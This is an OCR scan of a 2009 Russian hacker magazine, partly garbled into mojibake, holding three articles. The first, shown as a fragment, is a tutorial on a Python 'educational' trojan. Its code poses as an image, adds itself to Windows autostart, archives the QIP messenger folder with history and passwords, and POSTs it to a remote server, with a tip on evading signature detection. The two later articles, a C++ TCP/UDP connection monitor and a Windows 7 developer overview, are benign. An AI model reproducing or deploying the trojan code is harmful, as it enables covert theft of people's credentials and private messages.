àâòîçàãðóçêó#ñîçäàòü àðõèâ qip è îòîñëàòü íà ñåðâåðelse:#äîñòàòü êîìàíäó íà ñåðâåðå è èñïîëíèòü ååSTRING TO ÊÀÐÒÈÍÊÀ TO ÁËÎÍÄÈÍÊÎРаспаковка файла практически аналогична запаковке. Код этогонелегкого процесса ты всегда можешь посмотреть в исходникена диске, а я лишь уточню, что название файла-картинки мыберем из исполнимого файла для уменьшения палевности:file_src = sys.argv[0]img_name= file_src.split('\\')[-1].\split('.')[0]img_name += '.jpg'Вместо вышеприведенного кода можно было бы использоватьстандартную функцию для отделения имени от пути, номне проще сделать так, поскольку я извращенец :).Итак, картинка создана, остается лишь «исполнить» ее сиспользованием библиотеки subprocess:import subprocesssubprocess.Popen(img_name, shell=True)Благодаря заблаговременно указанному «shell=True»,картинка откроется так, как если бы пользователь сделал наней обычный даблклик.ÀÂÒÎÇÀÏÓÑÊСамый простой способ автозапуска нашей проги — скопироватьв папку автозагрузки:import shutilshutil.copy(sys.argv[0], r'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\driver_video.exe')Как видишь, наш учебный троян заточен под английскуюверсию Windows 7, поэтому для работы с другими версиямиконстанты путей нужно будет либо поменять, либо динамическивытаскивать их из стандартных переменных винды:%windir%%APPDATA%%TEMP%Полный список переменных можно узнать, написав в консоликоманду «set», и эту же команду вместе с subprocess.Popen нужно заюзать, чтобы получить эти переменные изскрипта.ÊÎÏÈÐÓÅÌ ÂÑÅ!Теперь, когда мы отвлекли внимание юзера ушастого и закрепилисьв автозагрузке, можно начать исполнение нашейосновной задачи, отправив на сервер архив папки с историейи паролями qip’a — C:\Program Files\QIP\Users\.Создадим в папке Temp архив, заюзав библиотеку zipfile.Для этого создадим объект zipfile.ZipFile и рекурсивно пройдемсяпо папке qip, добавляя в архив все файлы:import zipfileXÀÊÅÐ 12 /132/ 09


codingКОДИМ-ПОКОДИМ…def addToZip(zf, path, zippath):if os.path.isfile(path):zf.write(path, zippath, zipfile.ZIP_DEFLATED)elif os.path.isdir(path):for nm in os.listdir(path):addToZip(zf,os.path.join(path, nm),os.path.join(zippath, nm))zip_file = r'C:\Windows\Temp\system_files.zip'zf = zipfile.ZipFile(zip_file, 'w', allowZip64=True)src = r'C:\Program Files\QIP\Users\\'addToZip(zf, src, os.path.basename(src))zf.close()Отослать полученный файл можно, например, через ftp, или послатьpost-запросом. Второй вариант мы и реализуем, воспользовавшисьбиблиотекой urllib2:from poster.encode import multipart_encodefrom poster.streaminghttp import register_openersimport urllib2register_openers()d,h = multipart_encode({"f": open(zip_file,"rb")})request = urllib2.Request("http://s/f.php", d, h)urllib2.urlopen(request)Вот и все! Наш учебный троян готов. Разумеется, ни в коем случае мы несоветуем тебе использовать его в противозаконных целях, но на своемдомашнем компьютере ты вполне можешь его потестить — он с удовольствиемпокажет тебе интересную картинку, заархивирует папку с qip’оми отправит ее на сохранение твоему лучшему другу. Отличное решение,ведь если твой компьютер поразит злой вирус — ты всегда сможешь восстановитьсяиз хранящегося у друга бэкапа!À ÅÑÒÜ ËÈ ÁÓÄÓÙÅÅ?У нашего продукта есть один существенный минус — а именно, размер(большой размер!) исполнимого файла. Плюсы тоже есть; к ним относитсяскорость написания и последующей модификации. А исходник можноXÀÊÅÐ 12 /132/ 09СОСТАВ НАШЕГО ЕКЗЕШНИКАочень легко шифровать и изменять, что сильно осложнит сигнатурныйпоиск получившегося зловреда.Быть или не быть — решать тебе. Если будет нужна помощь, то ты знаешь,где меня найти. z095


CODINGLUKE АЛЕКСАНДР AKA N1TR3X ЭККЕРТ LSJDY@YANDEX.RU, ALEKSANDR-EHKKERT@RAMBLER.RUWWW.GFS-TEAM.RUÒÎÒÀËÈÒÀÐÍÛÉÊÎÍÒÐÎËÜ ÒÐÀÔÈÊÀËÎÂÈÌ È ÊÎÍÒÐÎËÈÐÓÅÌ ÂÅÑÜTCP/UCP-ÒÐÀÔÈÊ ÍÀ ÊÎÌÏÜÞÒÅÐÅÌÛ ÏÐÎÂÎÄÈÌ Â ÈÍÒÅÐÍÅÒÅÌÎÐÅ ÂÐÅÌÅÍÈ, ÈÍÎÃÄÀÑÅÒÓß ÍÀ ÇËÎÃÎ ÏÐÎÂÀÉÄÅÐÀÈ ÌÅÄËÅÍÍÛÉ ÒÐÀÔÈÊ.ÇÀ×ÀÑÒÓÞ ÝÒÎ ÏÐÎÈÑÕÎÄÈÒÈÇ-ÇÀ ÒÎÃÎ, ×ÒÎ «ËÅÂÛÅ»ÈËÈ ÒÐÎßÍÑÊÈÅ ÏÐÈËÎÆÅÍÈßËÎÌßÒÑß Â ÑÅÒÜÇÀ ÎÁÍÎÂËÅÍÈßÌÈÈ ÎÒÁÈÐÀÞÒ ÄÐÀÃÎÖÅÍÍÛÉÒÐÀÔÈÊ.096XÀÊÅÐ 12 /132/ 09


Óкаждого из нас может быть запущено множество процессов— аська (иногда и не одна), торрент, майл-агент и парочкабраузеров. Всем им нужна сеть. А если ты сидишь с GPRSмодема?Ой-ой-ой. С помощью материала из этой статьиты сможешь узнать, как отследить и наказать злобногонарушителя, съедающего твой трафик.ÈÍÑÒÐÓÌÅÍÒÀÐÈÉС целью организации хорошего улова нам понадобится любой С/С++ компилятор, прямые руки и немного мозгов. Итак, для получениявсех соединений мелкомягкие предоставляют набор функцийбиблиотеки iphlplib.dll. Не ко всем компиляторам поставляются актуальныена сегодняшний день заголовочные файлы, поэтому функциибудем вызывать по их адресу. Сегодня мы станем использоватьпришедшие на смену старым функции GetTcpTable(), GetUdpTable(),GetExtendedTcpTable() и GetExtendedUdpTable(). Кстати, для последнихдвух необходим, как минимум, Windows XP SP2 (вряд ли это составитдля тебя проблему). Функции AllocateAndGetTcpTableFromStack() и ей подобные, с таким трепетом рекомендуемые на множествефорумов, я использовать не буду по причине их древности — современнымиОС они не поддерживаются. Все наши функции хранятся вбиблиотеке Iphlpapi.dll, располагающейся в системной директории.TCPФункция GetTcpTable() получает таблицу всех Tcp-соединений всистеме:ОБЕЩАННАЯ ФУНКЦИЯ GETPROCESSNAMEBYIDLPSTR GetProcessNameByID(LPSTR lpszExeName,const DWORD dwID){HANDLE hProcessSnapshot;PROCESSENTRY32 PE32;DWORD dwFlag = 1;//Äåëàåì ñíèìîê âñåõ ïðîöåññîâhProcessSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);//Çàïîëíÿåì ðàçìåð ñòðóêòóðû — òàê ôóíêöèÿóçíàåò åå âåðñèþPE32.dwSize = sizeof(PROCESSENTRY32);//Ïåðâûé ïðîöåññ ñíèìêàProcess32First(hProcessSnapshot, &PE32);do {// Åñëè ìû íàøëè ïðîöåññ, òî êîïèðóåì// åãî èìÿ è çàâåðøàåì öèêëif (PE32.th32ProcessID == dwID)lstrcpyA(lpszExeName, PE32.szExeFile),dwFlag = 0;}DWORD GetTcpTable(PMIB_TCPTABLE pTcpTable,PDWORD pdwSize, BOOL bOrder);typedef DWORD (WINAPI * PROCGETTCPTABLE)(PMIB_TCPTABLE, PDWORD, BOOL);Здесь мы объявили прототип этой функции (PROCGETTCPTABLE).Итак, рассмотрим параметры подробнее. Всего их три:pTcpTable — указатель на выделенный буфер, куда будет записанатаблица MIB_TCPTABLE.pdwSize — размер выделенного буфера; если же буфера будет недостаточно,то в эту переменную запишется размер буфера, нужногодля размещения таблицы.bOrder — если TRUE, то указывает, что полученную таблицу нужноотсортировать по следующим параметрам в порядке:1. Локальный IP-адрес.2. Локальный порт.3. Удаленный IP-адрес,4. Удаленный порт.Функция при успехе возвращает NO_ERROR; при ошибке возможнонесколько значений, здесь мы рассмотрим только одно:ERROR_INSUFFICIENT_BUFFER — если буфер, на который указываетpTcpTable, недостаточно большого размера, нужный размервозвращен в значении по адресу pdwSize. Остальные значения, атакже более подробное описание функции ты можешь найти в MSDN(msdn.microsoft.com).UDPТеперь перейдем к UDP-соединениям. Прототип, согласно MSDN,выглядит так:}//Ïåðå÷èñëÿåì ïðîöåññû äî òåõ ïîð,//ïîêà íå íàéäåì èëè ïîêà åñòü ñëåäóþùèé ïðîöåññwhile (dwFlag && Process32Next(hProcessSnapshot, &PE32));CloseHandle(hProcessSnapshot);//Åñëè íàøëè èìÿ, òî âîçâðàùàåì åãî, èíà÷å NULLreturn dwFlag ? NULL : lpszExeName;Про последние два параметра мы уже все знаем (правда, сортировкаидет только по IP-адресу и порту), а указатель на структуру имеет типPMIB_UDPTABLE, так как сама таблица немного отличается.ÑÒÐÓÊÒÓÐÀ ÒÀÁËÈÖРассмотрим таблицу, в которую занесутся TCP-соединения, MIB_TCPTABLE. Она определена ниже и значения ее полей ясны из названия.Отмечу только, что адреса и порты представлены в сетевомформате (старший байт по старшему адресу):typedef struct _MIB_TCPTABLE{DWORD dwNumEntries;MIB_TCPROW table[ANY_SIZE];}MIB_TCPTABLE, *PMIB_TCPTABLE;DWORD GetUdpTable(PMIB_UDPTABLE pUdpTable,PDWORD pdwSize, BOOL bOrder);Параметр dwNumEntries — количество записей, то есть соединений,а table — массив записей, имеющих вот такой вид:typedef DWORD (WINAPI * PROCGETUDPTABLE)(PMIB_UDPTABLE, PDWORD, BOOL);typedef struct _MIB_TCPROW{DWORD dwState;XÀÊÅÐ 12 /132/ 09 097


CODINGВОТ И ПЕРВЫЙ НАРУШИТЕЛЬ — НЕПОНЯТНЫЙ ПРОЦЕСС, УСТАНОВИВШИЙ СОЕДИНЕНИЕDVDdvdНа диске смотриисходники, настроенныепод MS VisualStudio.DWORD dwLocalAddr;DWORD dwLocalPort;DWORD dwRemoteAddr;DWORD dwRemotePort;} MIB_TCPROW, *PMIB_TCPROW;Как видишь, тут присутствует состояние соединения(ожидает ли оно подключения, установлено или уже закрывается),локальные и удаленные IP-адрес с портом.Структуру UDP-таблиц ты можешь найти в MSDN или вприложении к журналу, а пока я приведу код, которыйпокажет все TCP-соединения в системе:printf("%d.%d.%d.%d:%d\t\t%s\n",LOBYTE(LOWORD(pTcpTable->table[i].dwRemoteAddr)),HIBYTE(LOWORD(pTcpTable->table[i].dwRemoteAddr)),LOBYTE(HIWORD(pTcpTable->table[i].dwRemoteAddr)),HIBYTE(HIWORD(pTcpTable->table[i].dwRemoteAddr)),ntohs( pTcpTable->table[i].dwRemotePort),lplpszStates[pTcpTable->table[i].dwState— 1]);HTTP://WWWlinkswww.msdn.microsoft.com — самый свежийMSDN.ФУНКЦИЯ, ПОЛУЧАЮЩАЯ ВСЕTCP-СОЕДИНЕНИЯ В СИСТЕМЕPMIB_TCPTABLE pTcpTable;DWORD dwSize = 0;pTcpTable = (PMIB_TCPTABLE)VirtualAlloc(NULL, sizeof(MIB_TCPTABLE),MEM_COMMIT, PAGE_READWRITE);if (GetTcpTable(pTcpTable, &dwSize, FALSE)== ERROR_INSUFFICIENT_BUFFER)pTcpTable = (PMIB_TCPTABLE)VirtualAlloc(NULL, dwSize,MEM_COMMIT, PAGE_READWRITE);GetTcpTable(pTcpTable, &dwSize, TRUE);printf("Remote Address:Remote Port\tState\n");for (DWORD i = 0;i < pTcpTable-> dwNumEntries; i++){Попробую объяснить вышеприведенный исходник. Вначале мы выделяем память под указатель, затем вызываемфункцию с нулевым dwSize. Удивительно, неправда ли? Это делается с целью узнать актуальный(необходимый) размер структуры, чтобы туда поместилсявесь список соединений (помнишь? при нехватке местафункция возвращает необходимый). Далее мы резервируемпамять и вызываем функцию. И в цикле печатаемудаленный адрес, порт и состояние соединения, переводяпорт и IP из сетевого формата в формат Intel. Воти все, в прилагаемых файлах смотри полный исходникфункции.ÁÅÐÅÌ ÑÅÒÜ ÏÎÄ ÊÎÍÒÐÎËÜВдумчивый читатель (то есть, ты), наверняка, задалсявопросом: «как же мы будем контролировать сеть?Ведь мы еще ничего не знаем о самом соединении».Спокойно! Сейчас я познакомлю тебя и с Ex-функциямиэтого семейства, которые появились на свет, начиная сWindows XP. Эти функции перехватывают многие руткитыи используют все файрволы, поскольку дают нам всюинформацию о сети. Вот они:098XÀÊÅÐ 12 /132/ 09


codingDWORD GetExtendedTcpTable(PVOID pTcpTable,PDWORD pdwSize,BOOL bOrder,ULONG ulAf,TCP_TABLE_CLASS TableClass,ULONG Reserved);DWORD GetExtendedUdpTable(PVOID pUdpTable,PDWORD pdwSize,BOOL bOrder,ULONG ulAf,UDP_TABLE_CLASS TableClass,ULONG Reserved);NULL, sizeof(MIB_TCPTABLE_OWNER_PID), MEM_COMMIT,PAGE_READWRITE);GetExtendedTcpTable((PVOID)pTcpTable,&dwSize,FALSE,AF_INET,TCP_TABLE_OWNER_PID_ALL,0);pTcpTable = (PMIB_TCPTABLE_OWNER_PID)VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);}GetExtendedTcpTable(pTcpTable, &dwSize,TRUE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0);Помимо открытых портов, функции поддерживают IPv6, позволяютвыводить не только имя процесса, породившего соединение, но иимя модуля. Для нас они подходят просто идеально — будем охотитьсяна зверька, который решил прогуляться по сети.Эти функции принимают первый параметр как нетипизированныйуказатель. Почему нетипизированный? Потому что тип структуры,куда занесется результат, заранее не известен и зависит отпараметра TableClass. А параметр этот может принимать многозначений, в частности, возможна выборка прослушивающих, установленныхсоединений, всех вместе, а также он может получать IDпроцесса или даже имя модуля, открывшего соединение. Это справедливодля UDP и TCP модулей. Еще надо учесть, что параметрulAf принимает беззнаковое целое число, обозначающее получениеIPv4 или IPv6 (AF_INET и AF_INET6) соответственно. Но так какIPv6 обладает большим рядом параметров, чем IPv4, то количествотипов таблиц будет равно 5 (для IPv6 нельзя получить параметрысоединения без PID).Нас будет интересовать структура типа MIB_TCPTABLE_OWNER_PID, в нее занесутся параметры соединений и PID каждого процесса.for (DWORD i = 0; i < pTcpTable->dwNumEntries; i++){printf("%s\t%d.%d.%d.%d:%d\n",GetProcessNameByID(lpszExeName,pTcpTable->table[i].dwOwningPid),LOBYTE(LOWORD(pTcpTable->table[i].dwRemoteAddr)),HIBYTE(LOWORD(pTcpTable->table[i].dwRemoteAddr)),LOBYTE(HIWORD(pTcpTable->table[i].dwRemoteAddr)),HIBYTE(HIWORD(pTcpTable->table[i].dwRemoteAddr)),ntohs(pTcpTable->table[i].dwLocalPort));}Этот кусок кода выведет нам все процессы и места, куда они коннектятся,что позволит тут же выявить нарушителя границы. ФункцияGetProcessNameByID моя, она определяет имя процесса по егоидентификатору, исходник ты сможешь найти во врезке. Кстати, незабудь объявить ее прототип:typedef DWORD (WINAPI * PROCGETEXTENDEDTCPTABLE)(PVOID, PDWORD, BOOL, ULONG, TCP_TABLE_CLASS, ULONG);СТРУКТУРА ДАННЫХtypedef struct{DWORD dwNumEntries;MIB_TCPROW_OWNER_PID table[ANY_SIZE];}MIB_TCPTABLE_OWNER_PID, *PMIB_TCPTABLE_OWNER_PID;typedef struct{DWORD dwState;DWORD dwLocalAddr;DWORD dwLocalPort;DWORD dwRemoteAddr;DWORD dwRemotePort;DWORD dwOwningPid;}MIB_TCPROW_OWNER_PID, *PMIB_TCPROW_OWNER_PID;Как мы видим, от структуры MIB_TCPROW эта отличается наличиемполя dwOwnigPid.А теперь — приведем отслеживающий шпиона код:PMIB_TCPTABLE_OWNER_PID pTcpTable;DWORD dwSize = 0;pTcpTable = (PMIB_TCPTABLE_OWNER_PID) VirtualAlloc(XÀÊÅÐ 12 /132/ 09И где-нибудь (я делаю это в main()) инициализировать указатель:HMODULE hLib = LoadLibraryA("iphlpapi.dll");GetExtendedTcpTable = (PROCGETEXTENDEDTCPTABLE)GetProcAddress(hLib, "GetExtendedTcpTable");После инициализации функция может быть вызвана как обычная.Не забывай делать всевозможные проверки в коде — они у меня опущеныв виду того, что журнал не резиновый. С UDP-подключениямиситуация полностью аналогична, новое будет только в IPv6 — тамструктура содержит еще и ScopeID-подключения.ÇÀÊËÞ×ÅÍÈÅПолный исходник программы ты можешь найти на DVD, она определяетпорты подключений и представляет собой своеобразный, расширенныйаналог netstat’a.Как видишь, вся работа очень проста, и ты можешь дополнить программумногими удобными функциями. Например, резолвить DNS(т.е. определять имена хостов, например, через функцию Winsockgethostbyaddr), сделать автообновление, убивать неугодный процесс,задействовать очень полезную опцию «отображать тольконелокальные подключения» — ведь многие программы открываютподключения на локалхост, а их нам мониторить не нужно. Графическиепрограммы с таким функционалом я встречал, а вот консольныханалогов не видел, надеюсь, она будет тебе полезна. До новыхвстреч!z099


CODINGАЛЕКСАНДР ЭККЕРТ ALEKSANDR-EHKKERT@RAMBLER.RUÎÑÎÁÅÍÍÎÑÒÈÊÎÄÈÍÃÀ ÈÞËÜÑÊÎÌ z Ó ÍÀÑ ÁÛËÀ ÎÒÄÅËÜÍÀß ÑÒÀÒÜß Î ÍÎÂÎÌ ÒÀÑÊÁÀÐÅWINDOWS 7 SUPERBAR È Î ÒÎÌ, ÊÀÊ ÐÅÀËÈÇÎÂÀÒÜ ÏÎÄÄÅÐÆÊÓÂÑÅÕ ÔÈ×ÅÉ ÝÒÎÃÎ ÒÀÑÊÁÀÐÀ  ÑÂÎÈÕ ÏÐÈËÎÆÅÍÈßÕ. ÑÅÃÎÄÍß ÌÛÐÅØÈËÈ ÅÙÅ ÐÀÇ ÂÇÃËßÍÓÒÜ ÍÀ ÍÎÂÓÞ ÂÈÍÄÓ ÏÐÎÃÐÀÌÌÈÑÒÑÊÈÌÂÇÃËßÄÎÌ È ÏÎÄÃÎÒÎÂÈËÈ ÄËß ÒÅÁß ÑÏÈÑÎÊ ÑÀÌÛÕ ÇÍÀ×ÈÌÛÕ,ÍÀ ÍÀØ ÂÇÃËßÄ, ÔÈØÅÊ,  ÊÓÐÑÅ ÊÎÒÎÐÛÕ ÄÎËÆÅÍ ÁÛÒÜ ËÞÁÎÉWINDOWS-ÊÎÄÅÐ.Забегая вперед, скажу, что каждый из этих пунктов заслуживает отдельнойстатьи, и в следующем году ты обязательно увидишь несколько материаловиз этой серии. Мы напишем и о программировании MultiTouchинтерфейсов,и о разных системных штучках. Ну, а пока давай простобыстренько пробежимся по новым кодинговым возможностям Windows 7.ÁÈÁËÈÎÒÅÊÈ Â WINDOWS 7Библиотеки «семерки» являются определяемыми пользователем коллекциямифайлов, которые представляют данные, независимо от того, где техранятся на компьютере. Благодаря им, пользователи могут унифицироватьи сгладить иерархию папок, собрав любое количество физическихрасположений (на локальной или удаленной машине) в одном месте — в100библиотеке. Причем пользователи могут самостоятельно решать, какиепапки должны быть в них включены , а какие нет. В то же время, добавляяпапки в библиотеки, пользователь сообщает Windows 7 о том, где расположеныважные для него данные. В дальнейшем система будет индексироватьэти папки, позволяя пользователю быстрее и эффективнее искатьв них свой контент по свойствам файлов. Тем, кто озабочен разработкойприложений под Windows 7, интересно обеспечить взаимодействие ихразработок с библиотеками. Это позволит интегрировать приложенияпользователя в рабочую среду Windows и обеспечит согласованностьработы приложений в различных сценариях. Поддержка разработкибиблиотек реализована в библиотеке Windows API Code Pack for Microsoft.NET Framework (http://code.msdn.microsoft.com/WindowsAPICodePack).XÀÊÅÐ 12 /132/ 09


WINDOWS TOUCHВ новой Windows 7 кардинальным образом изменился графическийинтерфейс. Он стал еще проще, привлекательнее и обзавелся поддержкоймультитача. Технология MultiTouch, а точнее — просто WindowsTouch, реализована практически в полном объеме. Если тебя привлекаютвещички типа сенсорных панелей, то приготовься — обзаведись соответствующиммонитором и сможешь кодить программы, управляемыедвижениями пальцев. Более того, базовая поддержка MultiTouch будетдоступна и в уже существующих приложениях без изменений кода.Для реализации всех фишек технологии Windows Touch разработчикиприготовили большой набор API-функций, поэтому встроить в свою программуподдержку интерфейса MultiTouch достаточно легко. Для этого вAPI имеются функции, позволяющие научить приложение распознаватьстандартные жесты, эталонные для других приложений. В большинствеприложений особые «выкрутасы» не нужны, поэтому этих функций дляначала тебе вполне хватит, кроме того, к твоим услугам всегда будет пакетнизкоуровневых API-интерфейсов, с помощью которого легко можнорешить нестандартную задачу.WINDOWS 7 SDKХотя Windows 7 SDK не входит в стандартную комплектацию, не будем обходитьего своим вниманием. Новый SDK является прекрасным собранием документациии примеров для использования новых API-функций, предоставляемыхWindows 7. Несмотря на тот, факт, что большинство этих примеровнаписаны на неуправляемом (native) коде для API Windows 7,которые относятся к C, C++ и COM API, это несильно усложнит жизнь разработчикамуправляемого кода: поддержка ключевых API Windows 7 доступначерез библиотеку Windows API Code Pack for Microsoft .NET Framework.ÑÈÑÒÅÌÍÛÌ ÏÐÎÃÐÀÌÌÈÑÒÀÌ ÍÀ ÇÀÌÅÒÊÓНе остались без внимания и системные разработчики. Так, был переработани улучшен механизм отслеживания событий в Windows — «EventTracing for Windows» (ETW). Внедренный в Windows 2000, он был предназначендля ведения логов юзермодных приложений и различныхсистемных событий, генерируемых как ядром так и его компонентами.Теперь системного программиста ждут значительные улучшения, связанныес отслеживанием событий ядра ОС, что также нашло отражениев .NET’овских языках в виде соответствующих API. Сейчас ETW способенвести логи старта и окончания таких объектов как «Process», «Thread»,«Image» и «Process», чего раньше не было. И это не все — также можновести логи переключения контекста потоков (Context Switch), вызоваотложенных процедур (DPC) и векторов прерываний устройств (ISR). Нои это еще не все — новый механизм ETW позволяет регистрировать события,связанные с управлением памятью — «Page Fault events», «HardМНЕНИЕ ЭКСПЕРТАÀëåêñåé Ôåäîðîâ,ýêñïåðò ïî òåõíîëîãèÿì,Microsoft:Ðàçðàáîò÷èêàì ñòîèò îáðàòèòüïðèñòàëüíîå âíèìàíèå íàWindows 7 – ïîëîæèòåëüíûåîòçûâû çàêàç÷èêîâ, óæå ðàçâåðíóâøèõó ñåáÿ ýòó ÎÑ, à òàêæåñêîðîñòü âíåäðåíèÿ Windows 7äîêàçûâàþò, ÷òî íîâóþ ÎÑ æäåòäîëãàÿ æèçíü. ×åì áû âû íå çàíèìàëèñü– íàïèñàíèåì ñèñòåìíîãî ñîôòà, ïðèêëàäíûõ ðåøåíèéèëè èãð – Windows 7 ñîäåðæèò ìíîæåñòâî íîâûõ è îáíîâëåííûõòåõíîëîãèé, êîòîðûå ïîçâîëÿò âàì ïî-íîâîìó âçãëÿíóòü íà ñîçäàíèåïðèëîæåíèé. Èçó÷àÿ âîçìîæíîñòè íîâîé ÎÑ, íå çàáûâàéòå îðåêîìåíäàöèÿõ ïî íàïèñàíèþ ñîâìåñòèìîãî êîäà, èñïîëüçîâàíèþïîäñèñòåì, îáåñïå÷èâàþùèõ ñòàáèëüíóþ, íàäåæíóþ è áåçîïàñíóþðàáîòó ïðèëîæåíèéБИБЛИОТЕКУ WINDOWS API CODE PACK МОЖНОСКАЧАТЬ НА MSDN’ЕPage Fault events» и «Virtual Memory events». Программисты, пишущиена языках в .NET Framework для того, чтобы во всей полноте прочувствоватьэтот шик, могут обратиться к пространству имен System.Diagnostics.Eventing, где представлены новые классы и методы.В Windows 7 зарелизили новую версию низкоуровнего интерфейса длясетевых карт — NDIS 6.20, которая, впрочем, несильно отличается отшестой версии. Само собой, в ядре Windows 7 актуальными остаютсятакие интерфейсы сетевой разработки, как NMR и Kernel Sock, впервыепоявившиеся в Windows Vista. И, внимание! Что меня особенно порадовало,так это то, что поддержка TDI-интерфейса осталась — уж очень нехотелось от него отказываться..NET FRAMEWORK: ÂÅÐÑÈß 4Ведя разговор о новых возможностях в разработке софта под Windows,нельзя обойти стороной и готовящийся в настоящий момент релизчетвертой версии .NET Framework. Тем более, бета-версия новогофреймворка доступна уже порядочное время.Основной акцент в .NET Framework всегда делался на разработкеweb-приложений и web-сервисов, вследствие чего ASP.NET являетсясейчас, пожалуй, самой продвинутой частью .NET Framework. Теперьweb-разработчикам предложены новые расширения ASP.NET Ajax иSilverlight, что не может не радовать. К тому же, — пусть это и не прямаязаслуга команды разработчиков ASP.NET — в рамках проекта Monoпрактически любой ASP.NET веб-сайт может быть запущен на любом JavaApplication сервере (J2EE, Tomcat и т.д.). Windows Forms пока не можетпохвастаться такими успехами.Отныне в .NET стало возможным использовать скриптовые языки, такиекак IronRuby и IronPython. Это реально, благодаря технологии поддержкидинамических языков или DLR (Dynamic Language Runtime). DLR —компилятор динамических языков, который позволяет интерпретироватькод, минуя этап его компиляции в CLR-байткод.Не хочется перехваливать данную особенность, но это похоже наявный, если можно так выразиться, маркетинговый ход со стороныMicrosoft. Ведь сейчас даже невооруженным глазом виден всплескинтереса к языкам Ruby и Python. Один мой знакомый программист,который трудится на ниве ООП в одной очень достойной компании, занимающейсяразработкой CRM-систем, пришел прямо-таки в щенячийвосторг, узнав о поддержке .NET новых языков (и в том числе Ruby),поскольку, с его слов, «влюбился в новый язык и не знал, что выбирать— C# или Ruby». Более того, в .NET Framework предоставляются исходникиDLR, при помощи которых можно создать свой динамическийязык для .NET, если у тебя есть необходимость.В четвертой .NET появилось много нововведений, к примеру, «LazyInitialiation» — память под объект выделяется, когда это действительностановится нужно, что положительно сказывается на быстродействиипрограмм, созданных на .NET’овских языках. Важной особенностью .NET4.0 можно назвать и поддержку динамического типа, благодаря появлениюключевого слова dynamic. Теперь при объявлении динамическогоXÀÊÅÐ 12 /132/ 09101


CODINGМНЕНИЕ ЭКСПЕРТАÂëàäèìèð ÀðóñòàìîâÃëàâíûé äåâåëîïåð Arovax, LLC:Íîâàÿ ÎÑ îò Microsoft ñ ïåðâûõ áåòà-ðåëèçîâçàâîåâàëà óâàæåíèå êàê ðÿäîâûõ ïîëüçîâàòåëåé,òàê è ïðîôåññèîíàëüíûõ ðàçðàáîò÷èêîâ.Îäíèì èç ñàìûõ çàìåòíûõ íîâîââåäåíèéÿâëÿåòñÿ òàê íàçûâàåìûé «Superbar» — íîâàÿïàíåëü çàäà÷. Ïîääåðæêà ýòîé íîâèíêèòðåáóåò íåêîòîðûõ çàòðàò ñî ñòîðîíû ðàçðàáîò÷èêîâñîôòà, íî óëó÷øåíèå þçàáèëèòèïåðåêðûâàåò âñå òðóäîçàòðàòû íà ðåàëèçàöèþ íîâûõ âîçìîæíîñòåé.Ñîçäàíèå ýôôåêòíîãî ïîëüçîâàòåëüñêîãî èíòåðôåéñà çíà÷èòåëüíî óïðîùàåòñÿ,áëàãîäàðÿ Windows 7 Animation Manager. Áîëüøèíñòâî ñîâðåìåííûõïîëüçîâàòåëåé ëþáÿò êðàñèâûå è ýôôåêòíûå ãðàôè÷åñêèå èíòåðôåéñû èïîääåðæêà èíòåðàêòèâíîé àíèìàöèè â ïðèëîæåíèÿõ íà óðîâíå ÎÑ çíà÷èòåëüíîóïðîñòèò æèçíü ðàçðàáîò÷èêàì.Òàêæå ñòîèò îòìåòèòü ìåõàíèçì Windows Error Reporting è ñëóæáó Winqual,êîòîðûå áûëè çíà÷èòåëüíî óñîâåðøåíñòâîâàíû ñî âðåìåí Windows Vista, ñó÷åòîì íàêîïëåííîãî îïûòà èõ èñïîëüçîâàíèÿ.Òåõíîëîãèÿ Restart Manager ïîìîæåò èçáåæàòü íåïðèÿòíîñòåé â ñëó÷àå ñáîåâïðîãðàììíîãî îáåñïå÷åíèÿ, êîòîðàÿ ïåðåçàïóñòèò ïðèëîæåíèå è ïîïûòàåòñÿâîññòàíîâèòü ðàáî÷èå äàííûå ïîñëå êðèòè÷åñêîé îøèáêè.МНЕНИЕ ЭКСПЕРТАÀíäðåé Êîìàðîâ,Òåõíè÷åñêèé äèðåêòîðÈÒÖ «Àíàëèòèêà»www.itdefence.ru:Windows 7 ñ òî÷êè çðåíèÿáåçîïàñíîñòè âîïëîòèëàâ ñåáå çíà÷èòåëüíûåèçìåíåíèÿ. ÒåõíîëîãèÿWindows Filtering Platform(WFP) â ïåðâóþ î÷åðåäüîðèåíòèðîâàíà íà ðàçðàáîò÷èêîâàíòèâèðóñíûõïðîäóêòîâ è ñîôòâåðíûõ ïåðñîíàëüíûõ ÌÑÝ. Îíàïîçâîëÿåò ÷åðåç ñïåöèàëüíûé èíòåðôåéñ âçàèìîäåéñòâîâàòüñîáñòâåííûì ïðîäóêòàì ñ âîçìîæíîñòÿìèâñòðîåííîãî Windows Firewall.Òàêæå ïîÿâèëàñü âîçìîæíîñòü øèôðîâàòü ñúåìíûåîòäåëÿåìûå íîñèòåëè øòàòíûìè ñðåäñòâàìè ÎÑ(ðàñøèðåíèå ôóíêöèîíàëà BitLocker). Ïîõîæèé ïîíàçâàíèþ, íî îòëè÷íûé ïî íàçíà÷åíèþ Applockerïðåäîòâðàùàåò çàïóñê ìîðàëüíî óñòàðåâøåãî ÏÎ,âåðñèè êîòîðîãî ìîãóò ñîäåðæàòü êðèòè÷åñêèåáðåøè â áåçîïàñíîñòè.Ïðèíöèïèàëüíî íîâîé ôóíêöèåé, ñóùåñòâåííî óñèëèâàþùåéáåçîïàñíîñòü, ÿâëÿåòñÿ ñëóæáà WindowsBiometric Service, êîòîðàÿ âûñòóïàåò â êà÷åñòâåñðåäñòâà ñâÿçûâàíèÿ êëèåíñòêèõ ïðèëîæåíèé ñóñòðîéñòâàìè áèîìåòðè÷åñêîé çàùèòû. Ðàíåå äëÿýòîãî òðåáîâàëîñü âíåäðåíèå äîïîëíèòåëüíûõäðàéâåðîâ, êîìïîíåíòîâ, ïîñòàâëÿåìûõ ñî ñòîðîíûâåíäîðà. Windows 7 ÿâëÿåòñÿ ïåðâîé îïåðàöèîííîéñèñòåìîé, ïîçâîëÿþùåé óäîñòîâåðèòüñÿ â áåçîïàñíîñòèñîåäèíåíèÿ ñ ñåðâåðîì DNS è â òîì, ÷òî íàñåðâåðå âûïîëíÿåòñÿ ïðîâåðêà DNSSEC îò åãî èìåíè.Õîòÿ òåõíîëîãèÿ DNSSEC åùå íå ñòîëü îáæèòà,òåì íå ìåíåå, îíà åñòü íà ðÿäå ðåñóðñîâ ðîññèéñêèõðåãèñòðàòîðîâ..NET FRAMEWORK 4 BETA ДОСТУПНА ДЛЯ 